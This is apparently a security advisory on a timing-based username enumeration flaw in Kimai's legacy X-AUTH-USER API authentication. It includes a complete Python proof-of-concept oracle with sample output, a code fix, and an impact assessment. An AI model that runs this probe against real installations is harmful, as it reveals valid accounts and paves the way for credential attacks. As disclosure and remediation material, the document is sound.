Kimai: Username enumeration via timing on X-AUTH-USER

Details

src/API/Authentication/TokenAuthenticator.php calls loadUserByIdentifier() first and only invokes the password hasher (argon2id) when a user is returned. When the username does not exist, the request returns roughly 25 ms faster than when it does. The response body is the same in both cases ({"message":"Invalid credentials"}, HTTP 403), so the leak is purely timing.

The /api/* firewall has no login_throttling configured, so the probe is unbounded.

The legacy X-AUTH-USER / X-AUTH-TOKEN headers are still accepted by default in 2.x. No prior authentication, no API token, and no session cookie are required.

Proof of concept

#!/usr/bin/env python3
"""Kimai username enumeration via X-AUTH-USER timing oracle."""

import argparse
import ssl
import statistics
import sys
import time
import urllib.error
import urllib.request

PROBE_PATH = "/api/users/me"
BASELINE_USER = "baseline_no_such_user_zzz"
DUMMY_TOKEN = "x" * 32


def probe(url, user, ctx):
    req = urllib.request.Request(
        url + PROBE_PATH,
        headers={"X-AUTH-USER": user, "X-AUTH-TOKEN": DUMMY_TOKEN},
    )
    t0 = time.perf_counter()
    try:
        urllib.request.urlopen(req, context=ctx, timeout=10).read()
    except urllib.error.HTTPError as e:
        e.read()
    return (time.perf_counter() - t0) * 1000.0


def median_ms(url, user, samples, ctx):
    return statistics.median(probe(url, user, ctx) for _ in range(samples))


def load_candidates(path):
    with open(path) as f:
        return [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")]


def main():
    ap = argparse.ArgumentParser(description=__doc__.strip())
    ap.add_argument("-u", "--url", required=True,
                    help="base URL, e.g. https://kimai.example")
    ap.add_argument("-l", "--list", required=True, metavar="FILE",
                    help="one candidate username per line")
    ap.add_argument("-t", "--threshold", type=float, default=15.0, metavar="MS",
                    help="median delta over baseline that flags a real user")
    ap.add_argument("-n", "--samples", type=int, default=15)
    ap.add_argument("--verify-tls", action="store_true")
    args = ap.parse_args()

    url = args.url.rstrip("/")
    ctx = None if args.verify_tls else ssl._create_unverified_context()
    candidates = load_candidates(args.list)

    baseline = median_ms(url, BASELINE_USER, args.samples, ctx)
    print(f"baseline: {baseline:.1f} ms", file=sys.stderr)

    width = max(len(u) for u in candidates)
    print(f"{'username':<{width}}  {'median':>8}  {'delta':>8}  verdict")
    print("-" * (width + 30))
    for user in candidates:
        m = median_ms(url, user, args.samples, ctx)
        delta = m - baseline
        verdict = "REAL" if delta > args.threshold else "-"
        print(f"{user:<{width}}  {m:>6.1f}ms  {delta:>+6.1f}ms  {verdict}")


if __name__ == "__main__":
    main()

Usage:

$ ./timing_oracle.py -u https://target -l users.txt -n 15
[*] calibrating baseline with 15 samples
[*] baseline median: 37.7 ms
[*] probing 13 candidates (n=15, threshold=15.0 ms)

username                        median     delta  verdict
----------------------------------------------------------
user1@example.com               64.2ms   +26.5ms  REAL
user2@example.com               72.4ms   +34.7ms  REAL
user3@example.com               70.0ms   +32.3ms  REAL
tester.nonexistent@example.com  37.2ms    -0.5ms  -
admin                           63.6ms   +25.9ms  REAL
administrator                   38.2ms    +0.4ms  -
root                            37.3ms    -0.4ms  -
test                            33.6ms    -4.1ms  -
demo                            38.2ms    +0.5ms  -
kimai                           37.0ms    -0.7ms  -
nonexistent_user_aaa            38.1ms    +0.4ms  -
nonexistent_user_bbb            37.5ms    -0.2ms  -
nonexistent_user_ccc            38.4ms    +0.7ms  -

In this run, four real accounts were identified out of thirteen candidates with no false positives or false negatives. Probing took roughly five seconds per username at fifteen samples each.

Fix

In TokenAuthenticator::authenticate(), run the password hasher against a fixed dummy hash when the user is not found, so the response time does not depend on user existence:

private const DUMMY_HASH = '$argon2id$v=19$m=65536,t=4,p=1$ZHVtbXlzYWx0ZHVtbXk$YQ4N4lU0Sg9hRT2KhRGwLp7y4VZqkM5KQ8wYJ5HtoX0';

try {
    $user = $this->userProvider->loadUserByIdentifier($credentials['username']);
} catch (UserNotFoundException $e) {
    $this->passwordHasherFactory
        ->getPasswordHasher(User::class)
        ->verify(self::DUMMY_HASH, $credentials['password']);
    throw $e;
}

The dummy hash must use the same algorithm and parameters as real user hashes so that verify() consumes equivalent CPU. Generate it once with password_hash('dummy', PASSWORD_ARGON2ID) and pin it as a constant.

Relevance

The practical security impact is very limited. The response body and HTTP status are identical, and the only observable difference is a relatively small timing gap, which is even less relevant when the requests is executed against a network instead of a local installation. In addition, this authentication method has already been deprecated since April 2024 and is scheduled for removal after Q2 2026, so the issue only affects a legacy mechanism that is already being phased out.